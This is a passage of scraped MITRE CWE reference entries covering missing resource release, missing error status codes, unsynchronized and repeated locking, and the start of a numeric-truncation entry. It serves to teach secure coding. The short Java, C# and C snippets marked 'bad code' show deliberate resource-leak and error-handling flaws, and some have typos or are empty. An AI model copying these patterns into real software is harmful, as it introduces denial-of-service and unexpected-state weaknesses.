References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "File Descriptor Leaks", Page 582. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2009-05-13 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-13 (CWE 1.4, 2009-05-27)
Modifications
Modification Date	Modifier	Organization
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Observed_Examples
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Common_Consequences, Relationships, Theoretical_Notes
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Taxonomy_Mappings
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships, Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 772

View customized information:

Description

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	401	Missing Release of Memory after Effective Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	775	Missing Release of File Descriptor or Handle after Effective Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1091	Use of Object without Invoking Destructor Method
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	911	Improper Update of Reference Count

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	399	Resource Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Technologies

Class: Mobile (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Resource Consumption (Other) An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

(bad code)

Example Language: Java

private void processFile(string fName)
{

BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{

processLine(line);

}

(good code)

Example Language: Java

private void processFile(string fName)
{

BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{

processLine(line);

}
fil.Close();

}

Example 2

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

(bad code)

Example Language: C#

SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3

This code attempts to open a connection to a database and catches any exceptions that may occur.

(bad code)

Example Language: Java

try {

Connection con = DriverManager.getConnection(some_connection_string);

}
catch ( Exception e ) {

log( e );

}

Example 4

(bad code)

Example Language: C#

Example 5

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

(bad code)

Example Language: C

int decodeFile(char* fName) {

char buf[BUF_SZ];
FILE* f = fopen(fName, "r");
if (!f) {

printf("cannot open %s\n", fName);
return DECODE_FAIL;

}
else {

while (fgets(buf, BUF_SZ, f)) {

if (!checkChecksum(buf)) {

return DECODE_FAIL;

}
else {

decodeBlock(buf);

}

}
fclose(f);
return DECODE_SUCCESS;

}

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
CVE-2002-1372	Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772).

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	982	SFP Secondary Cluster: Failure to Release Resource
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
OMG ASCSM	ASCSM-CWE-772
OMG ASCRM	ASCRM-CWE-772
Software Fault Patterns	SFP14		Failure to Release Resource

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-469	HTTP DoS

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-772. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-772. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2009-05-13 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-13 (CWE 1.4, 2009-05-27)
Modifications
Modification Date	Modifier	Organization
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples, Potential_Mitigations, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Observed_Examples, Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Applicable_Platforms, Demonstrative_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Common_Consequences, References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Description, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships, Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 392

View customized information:

Description

The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	684	Incorrect Provision of Specified Functionality
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	755	Improper Handling of Exceptional Conditions

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	389	Error Conditions, Return Values, Status Codes

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1012	Cross Cutting

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Technical Impact: Varies by Context; Unexpected State Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.

Demonstrative Examples

Example 1

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

(bad code)

Example Language: Java

try {

// Something that may throw an exception.
...

} catch (Throwable t) {

logger.error("Caught: " + t.toString());
return;

}

Observed Examples

Reference	Description
	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	961	SFP Secondary Cluster: Incorrect Exception Behavior
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1412	Comprehensive Categorization: Poor Coding Practices

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Error Status Code
The CERT Oracle Secure Coding Standard for Java (2011)	TPS03-J	Ensure that tasks executing in a thread pool do not fail silently
Software Fault Patterns	SFP6	Incorrect Exception Behavior

References

[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes, Weakness_Ordinalities
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Description, Name
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Demonstrative_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples, References
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Missing Error Status Code

2010-12-13	Failure to Report Error in Status Code

Weakness ID: 820

View customized information:

Description

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	567	Unsynchronized Access to Shared Data in a Multithreaded Context
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	1096	Singleton Class Instance Creation without Proper Locking or Synchronization

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	557	Concurrency Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Technical Impact: Modify Application Data; Read Application Data; Alter Execution Logic

Demonstrative Examples

Example 1

The following code intends to fork a process, then have both the parent and child processes print a single line.

(bad code)

Example Language: C

static void print (char * string) {

char * word;
int counter;
for (word = string; counter = *word++; ) {

putc(counter, stdout);
fflush(stdout);
/* Make timing window a little larger... */

sleep(1);

}

}

int main(void) {

pid_t pid;

pid = fork();
if (pid == -1) {

exit(-2);

}
else if (pid == 0) {

print("child\n");

}
else {

print("PARENT\n");

}
exit(0);

}

One might expect the code to print out something like:

PARENT

child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT

[blank line]

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK05-J		Synchronize access to static fields that can be modified by untrusted code

Content History

Submissions
Submission Date	Submitter	Organization
2010-08-06 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-08-06 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-09-23	CWE Content Team	MITRE
2019-09-23	updated Maintenance_Notes
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Demonstrative_Examples

Weakness ID: 764

View customized information:

Description

The product locks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	675	Multiple Operations on Resource in Single-Operation Context
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	667	Improper Locking

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	411	Resource Locking Problems

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Technical Impact: DoS: Resource Consumption (CPU); DoS: Crash, Exit, or Restart; Unexpected State

Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	987	SFP Secondary Cluster: Multiple Locks/Unlocks
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

Content History

Submissions
Submission Date	Submitter	Organization
2009-03-03 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-03-03 (CWE 1.4, 2009-05-27)
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 197

View customized information:

Description

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
CanAlsoBe	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	192	Integer Coercion Error
